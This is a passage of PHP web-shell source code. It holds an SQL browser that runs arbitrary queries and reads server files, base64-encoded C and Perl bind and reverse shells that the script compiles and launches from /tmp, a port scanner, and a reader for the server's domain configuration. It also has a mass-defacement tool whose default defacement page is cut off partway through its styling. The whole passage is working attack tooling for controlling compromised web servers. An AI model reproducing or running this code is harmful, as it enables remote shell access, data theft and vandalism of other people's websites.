2018 echo '<h1>Sql Browser</h1><div class=content>
2019 <form name="sf" method="post">
2020 <table cellpadding="2" cellspacing="0">
2021 <tr>
2022 <td>Type</td>
2023 <td>Host</td>
2024 <td>Login</td>
2025 <td>Password</td>
2026 <td>Database</td>
2027 <td></td>
2028 </tr>
2029 <tr>
2030 <input type=hidden name=a value=Sql>
2031 <input type=hidden name=p1 value=\'query\'>
2032 <input type=hidden name=p2>
2033 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
2034 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
2035 <td>
2036 <select name=\'type\'>
2037 <option value="mysql" '.(@$_POST['type']=='mysql'?'selected':'').'>MySql</option>
2038 <option value="pgsql" '.(@$_POST['type']=='pgsql'?'selected':'').'>PostgreSql</option>
2039 </select></td>
2040 <td><input type=text name=sql_host value="'.(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])).'"></td>
2041 <td><input type=text name=sql_login value="'.(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])).'"></td>
2042 <td><input type=text name=sql_pass value="'.(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])).'"></td>
2043 <td>';
2044 $tmp = "<input type=text name=sql_base value=''>";
2045 if(isset($_POST['sql_host'])){
2046 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
2047 switch($_POST['charset']) {
2048 case "Windows-1251": $db->setCharset('cp1251'); break;
2049 case "UTF-8": $db->setCharset('utf8'); break;
2050 case "KOI8-R": $db->setCharset('koi8r'); break;
2051 case "KOI8-U": $db->setCharset('koi8u'); break;
2052 case "cp866": $db->setCharset('cp866'); break;
2053 }
2054 $db->listDbs();
2055 echo "<select name=sql_base><option value=''></option>";
2056 while($item = $db->fetch()) {
2057 list($key, $value) = each($item);
2058 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
2059 }
2060 echo '</select>';
2061 }
2062 else echo $tmp;
2063 }else
2064 echo $tmp;
2065 echo '</td>
2066 <td><input type=submit value=">>"></td>
2067 </tr>
2068 </table>
2069 <script>
2070 function st(t,l) {
2071 document.sf.p1.value = \'select\';
2072 document.sf.p2.value = t;
2073 if(l!=null)document.sf.p3.value = l;
2074 document.sf.submit();
2075 }
2076 function is() {
2077 for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
2078 document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
2079 }
2080 </script>';
2081 if(isset($db) && $db->link){
2082 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
2083 if(!empty($_POST['sql_base'])){
2084 $db->selectdb($_POST['sql_base']);
2085 echo "<tr><td width=1 style='border-top:1px #56A3E9;border-right:2px #56A3E9;'><span>Tables:</span><br><br>";
2086 $tbls_res = $db->listTables();
2087 while($item = $db->fetch($tbls_res)) {
2088 list($key, $value) = each($item);
2089 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
2090 $value = htmlspecialchars($value);
2091 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
2092 }
2093 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:1px #56A3E9;'>";
2094 if(@$_POST['p1'] == 'select') {
2095 $_POST['p1'] = 'query';
2096 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
2097 $num = $db->fetch();
2098 $num = $num['n'];
2099 echo "<span>".$_POST['p2']."</span> ($num) ";
2100 for($i=0;$i<($num/30);$i++)
2101 if($i != (int)$_POST['p3'])
2102 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
2103 else
2104 echo ($i+1)," ";
2105 if($_POST['type']=='pgsql')
2106 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
2107 else
2108 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
2109 echo "<br><br>";
2110 }
2111 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
2112 $db->query(@$_POST['p3']);
2113 if($db->res !== false) {
2114 $title = false;
2115 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
2116 $line = 1;
2117 while($item = $db->fetch()) {
2118 if(!$title) {
2119 echo '<tr>';
2120 foreach($item as $key => $value)
2121 echo '<th>'.$key.'</th>';
2122 reset($item);
2123 $title=true;
2124 echo '</tr><tr>';
2125 $line = 2;
2126 }
2127 echo '<tr class="l'.$line.'">';
2128 $line = $line==1?2:1;
2129 foreach($item as $key => $value) {
2130 if($value == null)
2131 echo '<td><i>null</i></td>';
2132 else
2133 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
2134 }
2135 echo '</tr>';
2136 }
2137 echo '</table>';
2138 } else {
2139 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
2140 }
2141 }
2142 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
2143 echo "</td></tr>";
2144 }
2145 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
2146 if(@$_POST['p1'] == 'loadfile') {
2147 $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
2148 $file = $db->fetch();
2149 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
2150 }
2151 }
2152 echo '</div>';
2153 printFooter();
2154}
2155function actionNetwork() {
2156 printHeader();
2157 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
2158 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
2159 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
2160 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
2161 echo '<h1>Network tools</h1><div class=content>
2162 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
2163 <br /><span>Bind port to /bin/sh</span><br/>
2164 Port: <input type=\'text\' name=\'port\' value=\'444\'> Password: <input type=\'text\' name=\'pass\' value=\'BHP\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
2165 </form>
2166 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
2167 <br /><br /><span>Back-connect to</span><br/>
2168 Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'444\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
2169 </form><br>';
2170 if(isset($_POST['p1'])) {
2171 function cf($f,$t) {
2172 $w=@fopen($f,"w") or @function_exists('file_put_contents');
2173 if($w) {
2174 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
2175 @fclose($w);
2176 }
2177 }
2178 if($_POST['p1'] == 'bpc') {
2179 cf("/tmp/bp.c",$bind_port_c);
2180 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
2181 @unlink("/tmp/bp.c");
2182 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
2183 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
2184 }
2185 if($_POST['p1'] == 'bpp') {
2186 cf("/tmp/bp.pl",$bind_port_p);
2187 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
2188 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
2189 }
2190 if($_POST['p1'] == 'bcc') {
2191 cf("/tmp/bc.c",$back_connect_c);
2192 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
2193 @unlink("/tmp/bc.c");
2194 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
2195 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
2196 }
2197 if($_POST['p1'] == 'bcp') {
2198 cf("/tmp/bc.pl",$back_connect_p);
2199 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
2200 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
2201 }
2202 }
2203 echo '</div>';
2204 printFooter();
2205}
2206function actionPortScanner() {
2207 printHeader();
2208 echo '<h1>Port Scanner</h1>';
2209 echo '<div class="content">';
2210 echo '<form action="" method="post">';
2211 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
2212 $start = strip_tags($_POST['start']);
2213 $end = strip_tags($_POST['end']);
2214 $host = strip_tags($_POST['host']);
2215 for($i = $start; $i<=$end; $i++){
2216 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
2217 if($fp){
2218 echo 'Port '.$i.' is <font color=aqua>open</font><br>';
2219 }
2220 flush();
2221 }
2222 } else {
2223 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
2224 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
2225 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
2226 Host: <input type="text" name="host" value="localhost"/><br /><br />
2227 Port start: <input type="text" name="start" value="0"/><br /><br />
2228 Port end:<input type="text" name="end" value="5000"/><br /><br />
2229 <input type="submit" value="Scan Ports" />
2230 </form></center><br /><br />';
2231 }
2232 echo '</div>';
2233 printFooter();
2234}
2235 function actionDomain() {
2236 printHeader();
2237 echo '<center> <h1>local domain viewer</h1><div class=content></center>';
2238 $file = @implode(@file("/etc/named.conf"));
2239 if (!$file) {
2240 die("# can't ReaD -> [ /etc/named.conf ]");
2241 }
2242 preg_match_all("#named/(.*?).db#", $file, $r);
2243 $domains = array_unique($r[1]);
2244 //check();
2245 //if(isset($_GET['ShowAll']))
2246 {
2247 echo "<table align=center border=1 width=59% cellpadding=5>
2248<tr><td colspan=2>[+] There are : [ <b>" . count($domains) . "</b> ] Domain</td></tr>
2249<tr><td>Domain</td><td>User</td></tr>";
2250 foreach ($domains as $domain) {
2251 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
2252 echo "<tr><td>$domain</td><td>" . $user['name'] . "</td></tr>";
2253 }
2254 echo "</table>";
2255 }
2256 echo '</div>';
2257 printFooter();
2258 }
2259
2260function actionDeface() {
2261 printHeader();
2262 echo "<h1>MASS DEFACER</h1><div class=content>";
2263?>
2264<form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
2265<p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
2266<br>file name : <input type=text name=file size=20 value="index.htm">
2267<br>Text Content : <input type=text name=Contents size=20 value="<!--------------Coded By X0MH17 & D3m0n --------------->
2268
2269
2270
2271
2272
2273 <html>
2274 <head>
2275 <meta charset="UTF-8" />
2276 <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
2277 <meta name="viewport" content="width=device-width, initial-scale=1.0">
2278
2279 <meta name="author" content="Codrops" />
2280 <link rel="shortcut icon" href="http://www.iconj.com/ico/z/p/zpsi90lfc7.ico">
2281
2282
2283<style type="text/css">
2284@font-face {
2285 font-family: 'BebasNeueRegular';
2286 src: url('fonts/BebasNeue-webfont.eot');
2287 src: url('fonts/BebasNeue-webfont.eot?#iefix') format('embedded-opentype'),
2288 url('fonts/BebasNeue-webfont.woff') format('woff'),
2289 url('fonts/BebasNeue-webfont.ttf') format('truetype'),
2290 url('fonts/BebasNeue-webfont.svg#BebasNeueRegular') format('svg');
2291 font-weight: normal;
2292 font-style: normal;
2293}
2294/* CSS reset */
2295body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,textarea,p,blockquote,th,td {
2296 margin:0;
2297 padding:0;
2298}
2299html,body {
2300 margin:0;
2301 padding:0;
2302}
2303table {
2304 border-collapse:collapse;
2305 border-spacing:0;
2306}
2307fieldset,img {
2308 border:0;
2309}
2310input{
2311 border:1px solid #b0b0b0;
2312 padding:3px 5px 4px;
2313 color:#fa0303;
2314 width:190px;
2315}
2316address,caption,cite,code,dfn,th,var {
2317 font-style:normal;
2318 font-weight:normal;
2319}
2320ol,ul {
2321 list-style:none;
2322}
2323caption,th {
2324 text-align:left;
2325}
2326h1,h2,h3,h4,h5,h6 {
2327 font-size:100%;
2328 font-weight:normal;
2329}
2330q:before,q:after {
2331 content:';
2332}
2333abbr,acronym { border:0;
2334}
2335/* General Demo Style */
2336body{
2337 font-family: Constantia, Palatino, "Palatino Linotype", "Palatino LT STD", Georgia, serif;
2338 background: #000;
2339 font-weight: 400;
2340 font-size: 15px;
2341 color: #aa3e03;
2342 overflow-y: scroll;
2343 overflow-x: hidden;
2344}
2345.ie7 body{
2346 overflow:hidden;
2347}
2348a{
2349 color: #fff004;
2350 text-decoration: none;
2351}
2352.container{
2353 position: relative;
2354 text-align: center;
2355}
2356.clr{
2357 clear: both;
2358}
2359.container > header{
2360 padding: 30px 30px 10px 20px;
2361 margin: 0px 20px 10px 20px;
2362 position: relative;
2363 display: block;
2364 text-shadow: 1px 1px 1px rgba(0,0,0,0.2);
2365 text-align: left;
2366}
2367.container > header h1{
2368 font-family: 'BebasNeueRegular', 'Arial Narrow', Arial, sans-serif;
2369 font-size: 35px;
2370 line-height: 35px;
2371 position: relative;
2372 font-weight: 400;
2373 color: #00a2ff;
2374 text-shadow: #13ff00 1px 1px 1px rgba(0,0,0,0.3);
2375 padding: 0px 0px 5px 0px;
2376}
2377.container > header h1 span{
2378
2379}
2380.container > header h2, p.info{
2381 font-size: 16px;
2382 font-style: italic;
2383 color: #00a2ff;
2384 text-shadow: #13ff00 1px 1px 1px rgba(0,0,0,0.6);
2385}
2386/* Header Style */
2387.codrops-top{
2388 font-family: Arial, sans-serif;
2389 line-height: 24px;
2390 font-size: 11px;
2391 width: 100%;
2392 background: #000;
2393 opacity: 0.9;
2394 text-transform: uppercase;
2395 z-index: 9999;
2396 position: relative;
2397 -moz-box-shadow: 1px 0px 2px #000;
2398 -webkit-box-shadow: 1px 0px 2px #000;
2399 box-shadow: 1px 0px 2px #000;
2400}
2401.codrops-top a{
2402 padding: 0px 10px;
2403 letter-spacing: 1px;
2404 color: #57dd00;
2405 display: block;
2406 float: left;
2407}
2408.codrops-top a:hover{
2409 color: #ff5439;
2410}
2411.codrops-top span.right{
2412 float: right;
2413}
2414.codrops-top span.right a{
2415 float: none;
2416 display: inline;
2417}
2418
2419p.codrops-demos{
2420 display: block;
2421 padding: 15px 0px;
2422}
2423p.codrops-demos a,
2424p.codrops-demos a.current-demo,
2425p.codrops-demos a.current-demo:hover{
2426 display: inline-block;
2427 border: 1px solid #6d0019;
2428 padding: 4px 10px 3px;
2429 font-size: 13px;
2430 line-height: 18px;
2431 margin: 2px 3px;
2432 font-weight: 800;
2433 -webkit-box-shadow: 0px 1px 1px rgba(0,0,0,0.1);
2434 -moz-box-shadow:0px 1px 1px rgba(0,0,0,0.1);
2435 box-shadow: 0px 1px 1px rgba(0,0,0,0.1);
2436 color:#fff;
2437 -webkit-border-radius: 5px;
2438 -moz-border-radius: 5px;
2439 border-radius: 5px;
2440 background: #a90329;
2441 background: -moz-linear-gradient(top, #a90329 0%, #8f0222 44%, #6d0019 100%);
2442 background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#a90329), color-stop(44%,#8f0222), color-stop(100%,#6d0019));
2443 background: -webkit-linear-gradient(top, #a90329 0%,#8f0222 44%,#6d0019 100%);
2444 background: -o-linear-gradient(top, #a90329 0%,#8f0222 44%,#6d0019 100%);
2445 background: -ms-linear-gradient(top, #a90329 0%,#8f0222 44%,#6d0019 100%);
2446 background: linear-gradient(top, #a90329 0%,#8f0222 44%,#6d0019 100%);
2447}
2448p.codrops-demos a:hover{
2449 background: #f50a3f;
2450}
2451p.codrops-demos a:active{
2452 background: #f50a3f;
2453 background: -moz-linear-gradient(top, #6d0019 0%, #8f0222 56%, #a90329 100%);
2454 background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#6d0019), color-stop(56%,#8f0222), color-stop(100%,#a90329));
2455 background: -webkit-linear-gradient(top, #6d0019 0%,#8f0222 56%,#a90329 100%);
2456 background: -o-linear-gradient(top, #6d0019 0%,#8f0222 56%,#a90329 100%);
2457 background: -ms-linear-gradient(top, #6d0019 0%,#8f0222 56%,#a90329 100%);
2458 background: linear-gradient(top, #6d0019 0%,#8f0222 56%,#a90329 100%);
2459 -webkit-box-shadow: 0px 1px 1px rgba(255,255,255,0.9);
2460 -moz-box-shadow:0px 1px 1px rgba(255,255,255,0.9);
2461 box-shadow: 0px 1px 1px rgba(255,255,255,0.9);
2462}
2463p.codrops-demos a.current-demo,
2464p.codrops-demos a.current-demo:hover{
2465 color: #A5727D;
2466 background: #6d0019;
2467}
2468/* Media Queries */
2469@media screen and (max-width: 767px) {
2470 .container > header{
2471 text-align: center;
2472 }
2473 p.codrops-demos {
2474 position: relative;
2475 top: auto;
2476 left: auto;
2477 }
2478}
2479
2480
2481</style>
2482<style type="text/css">
2483
2484
2485.cb-slideshow,
2486.cb-slideshow:after {
2487 position: fixed;
2488 width: 100%;
2489 height: 100%;
2490 top: 0px;
2491 left: 0px;
2492 z-index: 0;
2493}
2494.cb-slideshow:after {
2495 content: ';
2496 background: transparent url(http://i.imgur.com/gLWQyu7.jpg) repeat top left;
2497}
2498.cb-slideshow li span {
2499 width: 100%;
2500 height: 100%;
2501 position: absolute;
2502 top: 0px;
2503 left: 0px;
2504 color: transparent;
2505 background-size: cover;
2506 background-position: 50% 50%;
2507 background-repeat: none;
2508 opacity: 0;
2509 z-index: 0;
2510 -webkit-backface-visibility: hidden;
2511 -webkit-animation: imageAnimation 36s linear infinite 0s;
2512 -moz-animation: imageAnimation 36s linear infinite 0s;
2513 -o-animation: imageAnimation 36s linear infinite 0s;
2514 -ms-animation: imageAnimation 36s linear infinite 0s;
2515 animation: imageAnimation 36s linear infinite 0s;
2516}
2517.cb-slideshow li div {
2518 z-index: 1000;
2519 position: absolute;
2520 bottom: 10px;
2521 left: 0px;
2522 width: 100%;
2523 text-align: right;
2524 opacity: 0;
2525 -webkit-animation: titleAnimation 36s linear infinite 0s;
2526 -moz-animation: titleAnimation 36s linear infinite 0s;
2527 -o-animation: titleAnimation 36s linear infinite 0s;
2528 -ms-animation: titleAnimation 36s linear infinite 0s;
2529 animation: titleAnimation 36s linear infinite 0s;
2530}
2531.cb-slideshow li div h3 {
2532 font-family: 'BebasNeueRegular', 'Arial Narrow', Arial, sans-serif;
2533 font-size: 160px;
2534 padding: 0 30px;
2535 line-height: 120px;
2536 color: rgba(169,3,41, 0.8);
2537}
2538.cb-slideshow li:nth-child(1) span { background-image: url(http://i.imgur.com/P4RWtkc.png) }
2539.cb-slideshow li:nth-child(2) span {
2540 background-image: url(http://wlp.ninja/wallpaper/Watch-Dogs-wallpaper-3840x2160-04.jpg);
2541 -webkit-animation-delay: 6s;
2542 -moz-animation-delay: 6s;
2543 -o-animation-delay: 6s;
2544 -ms-animation-delay: 6s;
2545 animation-delay: 6s;
2546}
2547.cb-slideshow li:nth-child(3) span {
2548 background-image: url(http://i.imgur.com/VGK91ct.png);
2549 -webkit-animation-delay: 12s;
2550 -moz-animation-delay: 12s;
2551 -o-animation-delay: 12s;
2552 -ms-animation-delay: 12s;
2553 animation-delay: 12s;
2554}
2555.cb-slideshow li:nth-child(4) span {
2556 background-image: url(http://i.imgur.com/CbxQeEZ.png);
2557 -webkit-animation-delay: 18s;
2558 -moz-animation-delay: 18s;
2559 -o-animation-delay: 18s;
2560 -ms-animation-delay: 18s;
2561 animation-delay: 18s;
2562}
2563.cb-slideshow li:nth-child(5) span {
2564 background-image: url(http://i.imgur.com/ooQuoe2.jpg);
2565 -webkit-animation-delay: 24s;
2566 -moz-animation-delay: 24s;
2567 -o-animation-delay: 24s;
2568 -ms-animation-delay: 24s;
2569 animation-delay: 24s;
2570}
2571.cb-slideshow li:nth-child(6) span {
2572 background-image: url(http://1.bp.blogspot.com/-NE68f9Fm-yE/UObLIZMY6xI/AAAAAAAAAaA/U9YnnrwIOsE/s1600/Game%20Over%20Hacker.png);
2573 -webkit-animation-delay: 30s;
2574 -moz-animation-delay: 30s;
2575 -o-animation-delay: 30s;
2576 -ms-animation-delay: 30s;
2577 animation-delay: 30s;
2578}
2579.cb-slideshow li:nth-child(7) span {
2580 background-image: url(http://i.imgur.com/9QpJPlG.jpg);
2581 -webkit-animation-delay: 30s;
2582 -moz-animation-delay: 30s;
2583 -o-animation-delay: 30s;
2584 -ms-animation-delay: 30s;
2585 animation-delay: 30s;
2586}
2587.cb-slideshow li:nth-child(8) span {
2588 background-image: url(http://i.imgur.com/kp0Az2H.png);
2589 -webkit-animation-delay: 42s;
2590 -moz-animation-delay: 42s;
2591 -o-animation-delay: 42s;
2592 -ms-animation-delay: 42s;
2593 animation-delay: 42s;
2594}
2595.cb-slideshow li:nth-child(9) span {
2596 background-image: url(http://wallpaper.zone/img/3570570.png);
2597 -webkit-animation-delay: 48s;
2598 -moz-animation-delay: 48s;
2599 -o-animation-delay: 48s;
2600 -ms-animation-delay: 48s;
2601 animation-delay: 48s;
2602}
2603.cb-slideshow li:nth-child(10) span {
2604 background-image: url(http://4.bp.blogspot.com/-2ikU0lpWksg/UtUvKqDDBwI/AAAAAAAACzA/kADOFYIg6JY/s1600/Hacker+Love+people.jpg);
2605 -webkit-animation-delay: 54s;
2606 -moz-animation-delay: 54s;
2607 -o-animation-delay: 54s;
2608 -ms-animation-delay: 54s;
2609 animation-delay: 54s;
2610}
2611.cb-slideshow li:nth-child(11) span {
2612 background-image: url(http://taylorholmes.com/wp-content/uploads/2015/08/who-am-i-no-system-is-safe-2-1024x573.jpg);
2613 -webkit-animation-delay: 60s;
2614 -moz-animation-delay: 60s;
2615 -o-animation-delay: 60s;
2616 -ms-animation-delay: 60s;
2617 animation-delay: 60s;
2618}
2619.cb-slideshow li:nth-child(12) span {
2620 background-image: url(http://1.bp.blogspot.com/-qVnQzyTBzBo/UKJQakeKEFI/AAAAAAAABEc/OJOI1Ib87I8/s1600/Hacking+shh+i+am+working.jpg);
2621 -webkit-animation-delay: 66s;
2622 -moz-animation-delay: 66s;
2623 -o-animation-delay: 66s;
2624 -ms-animation-delay: 66s;
2625 animation-delay: 66s;
2626}
2627.cb-slideshow li:nth-child(13) span {
2628 background-image: url(http://static.hdw.eweb4.com/media/wallpapers_dl/1/143/1424882-hacker-wallpaper-1920x1200.jpg);
2629 -webkit-animation-delay: 72s;
2630 -moz-animation-delay: 72s;
2631 -o-animation-delay: 72s;
2632 -ms-animation-delay: 72s;
2633 animation-delay: 72s;
2634}
2635.cb-slideshow li:nth-child(14) span {
2636 background-image: url(http://3.bp.blogspot.com/-Bt0zGBWdnM8/T4FCHTXRl6I/AAAAAAAAAPk/2gGNSMZJCDo/s1600/hacking+society+black+hats+1024+x+786.jpg);
2637 -webkit-animation-delay: 78s;
2638 -moz-animation-delay: 78s;
2639 -o-animation-delay: 78s;
2640 -ms-animation-delay: 78s;
2641 animation-delay: 78s;
2642}
2643.cb-slideshow li:nth-child(15) span {
2644 background-image: url(http://wallpapercave.com/wp/mQJEaae.png);
2645 -webkit-animation-delay: 84s;
2646 -moz-animation-delay: 84s;
2647 -o-animation-delay: 84s;
